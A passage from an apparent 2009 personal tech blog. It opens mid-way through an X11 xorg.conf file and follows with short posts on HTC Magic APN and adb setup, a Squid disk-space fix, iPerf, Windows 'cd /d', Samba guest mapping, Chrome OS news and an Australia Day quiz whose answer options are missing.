  FontPath     "/usr/share/fonts/latin2/misc:unscaled"
  FontPath     "/usr/share/fonts/latin2/75dpi:unscaled"
  FontPath     "/usr/share/fonts/latin2/100dpi:unscaled"
  FontPath     "/usr/share/fonts/latin2/Type1"
  FontPath     "/usr/share/fonts/latin7/75dpi:unscaled"
  FontPath     "/usr/share/fonts/baekmuk:unscaled"
  FontPath     "/usr/share/fonts/japanese:unscaled"
  FontPath     "/usr/share/fonts/kwintv"
  FontPath     "/usr/share/fonts/truetype"
  FontPath     "/usr/share/fonts/uni:unscaled"
  FontPath     "/usr/share/fonts/CID"
  FontPath     "/usr/share/fonts/ucs/misc:unscaled"
  FontPath     "/usr/share/fonts/ucs/75dpi:unscaled"
  FontPath     "/usr/share/fonts/ucs/100dpi:unscaled"
  FontPath     "/usr/share/fonts/hellas/misc:unscaled"
  FontPath     "/usr/share/fonts/hellas/75dpi:unscaled"
  FontPath     "/usr/share/fonts/hellas/100dpi:unscaled"
  FontPath     "/usr/share/fonts/hellas/Type1"
  FontPath     "/usr/share/fonts/misc/sgi:unscaled"
  FontPath     "/usr/share/fonts/xtest"
  FontPath     "/opt/kde3/share/fonts"
  InputDevices "/dev/gpmdata"
  InputDevices "/dev/input/mice"
EndSection

Section "ServerFlags"
  Option       "AllowMouseOpenFail" "on"
EndSection

Section "Module"
  Load         "dbe"
  Load         "type1"
  Load         "freetype"
  Load         "extmod"
  Load         "glx"
EndSection

Section "InputDevice"
  Driver       "kbd"
  Identifier   "Keyboard[0]"
  Option       "Protocol" "Standard"
  Option       "XkbLayout" "us"
  Option       "XkbModel" "microsoftpro"
  Option       "XkbRules" "xfree86"
EndSection


Section "InputDevice"
  Driver       "mouse"
  Identifier   "Mouse[1]"
  Option       "Buttons" "5"
  Option       "Device" "/dev/input/mice"
  Option       "Name" "KYE Optical Mouse"
  Option       "Protocol" "explorerps/2"
  Option       "Vendor" "Sysp"
  Option       "ZAxisMapping" "4 5"
EndSection


Section "Monitor"
  DisplaySize  306 230
  HorizSync    30-70
  Identifier   "Monitor[0]"
  ModelName    "107S (107S1)"
  Option       "DPMS"
  VendorName   "PHILIPS"
  VertRefresh  50-160
  UseModes     "Modes[0]"
EndSection


Section "Modes"
  Identifier   "Modes[0]"
  Modeline      "1280x1024" 119.40 1280 1368 1504 1728 1024 1025 1028 1063
  Modeline      "1024x768" 95.50 1024 1088 1200 1376 768 769 772 807
  Modeline      "1024x768" 85.45 1024 1088 1200 1376 768 769 772 803
  Modeline      "1024x768" 74.62 1024 1080 1192 1360 768 769 772 799
  Modeline      "800x600" 60.07 800 840 928 1056 600 601 604 632
  Modeline      "800x600" 53.14 800 840 928 1056 600 601 604 629
  Modeline      "800x600" 45.50 800 840 920 1040 600 601 604 625
  Modeline      "800x600" 38.22 800 832 912 1024 600 601 604 622
EndSection


Section "Screen"
  DefaultDepth 24
  SubSection "Display"
    Depth      15
    Modes      "1280x1024" "1024x768" "800x600"
  EndSubSection
  SubSection "Display"
    Depth      16
    Modes      "1280x1024" "1024x768" "800x600"
  EndSubSection
  SubSection "Display"
    Depth      24
    Modes      "1280x1024" "1024x768" "800x600"
  EndSubSection
  SubSection "Display"
    Depth      8
    Modes      "1280x1024" "1024x768" "800x600"
  EndSubSection
  Device       "Device[0]"
  Identifier   "Screen[0]"
  Monitor      "Monitor[0]"
EndSection


Section "Device"
  BoardName    "945 GME"
  BusID        "0:2:0"
  Driver       "vesa"
  Identifier   "Device[0]"
  Option       "monitor-VGA" "Monitor[0]"
  VendorName   "Intel"
EndSection



Section "ServerLayout"
  Identifier   "Layout[all]"
  InputDevice  "Keyboard[0]" "CoreKeyboard"
  InputDevice  "Mouse[1]" "CorePointer"
  Option       "Clone" "off"
  Option       "Xinerama" "off"
  Screen       "Screen[0]"
EndSection


Section "DRI"
    Group      "video"
    Mode       0660
EndSection

Section "Extensions"
EndSection

Friday 28 August 2009

Telstra APN Settings for HTC Magic (Sapphire)

How to configure mobile wireless GSM GPRS EDGE internet packet data access with Telstra APN settings for HTC Magic / G2 / Sapphire:

Go to Settings > Wireless controls > Mobile networks > Access Point Names.
Press Menu and select "New APN".
Enter the following settings:
Name: Telstra Internet
APN: telstra.internet
Proxy:
Port:
Username:
Password:
Server:
MMSC:
MMS proxy:
MMS port:
MCC: 505
MNC: 01
APN type:

ADB Drivers (HTC Magic USB) for Linux

Using Ubuntu Linux, I was trying to root my HTC Magic (Sapphire). Unfortunately, running ./adb devices returned no devices.
Solution was to run ./adb kill-server and then ./adb devices as root (sudo -s).

Thursday 27 August 2009

Squid: connect (111 Connection refused)

This morning when I turned on my computer, Firefox greeted me by saying "Firefox is configured to use a proxy that is refusing connections." However, my proxy server was turned on and seemed to be functioning correctly - I could ssh into it quite fine, so no network issues. I rebooted, but still no help. My server was running Ubuntu 8.10 (Intrepid) Server Edition with a squid proxy server.

Turns out, by examing the /var/log/squid/cache.log file, I discovered the problem was no free disk space. After freeing up some space on / and restarting squid (/etc/init.d/squid restart), proxy was up and running again.

Tuesday 25 August 2009

iPerf network throughput tester

Use iPerf for testing network throughput / testing network traffic. Also, jPerf provides a GUI interface and windows iperf version.
iPerf and jPerf are both available at: http://sourceforge.net/projects/iperf/

Change directory in windows cmd

Windows cmd.exe command line won't change directory won't cd

cd /d

I am in my c: drive (c:\tools) and do a:
C:\tools>cd d:\music
Strangly, I am still in the c: drive. Only if I do a d:, I see that I changed to the music directory under d:
C:\tools>d:

D:\music>
In order to change both, the drive and the path, the /d flag must be used:
D:\music>cd /d c:\bin

C:\bin>
Source: http://www.adp-gmbh.ch/win/cmd/cd.html

Sunday 2 August 2009

"All Squash" in Samba FIle Server

NFS has the ability to "root squash" or "all squash" - map authenticated users to alternate user ids, for purposes of security. This makes it easy to setup an NFS public folder where all users share the same permissions.

Samba on the other hand, does not have such capabilities. However, you can achieve similar functionality by configuring a "guest" user, which maps to a specific local user id on the server.

Simply open /etc/samba/smb.conf and enable the following line:
guest account = [mapped user id]
That's all there is to it! Now any anonymous client can access the shared folders, and they will automatically have the same access rights as if they were logged into the server locally, with the username specified in the smb.conf file.

Wednesday 8 July 2009

The Google OS is finally here!

Official Google Blog: Introducing the Google Chrome OS

Google has actually announced a desktop operating system! This has been a wild prediction for years, but now comes the official announcement of the "Google Chrome OS". Initially designed for netbooks, it is aimed at people who spend most of their time online.

Read more....

Monday 26 January 2009

What is Australia Day?

Think you know Australia? Think again. This quiz checks your knowledge of Australia Day, our most patriotic national celebration.




1. What do we remember on Australia day?








2. Where did this happen?








3. In what year?








4. Who was in command?








5. How many ships were in the First Fleet?








6. Which one of the following ships was NOT in the First Fleet?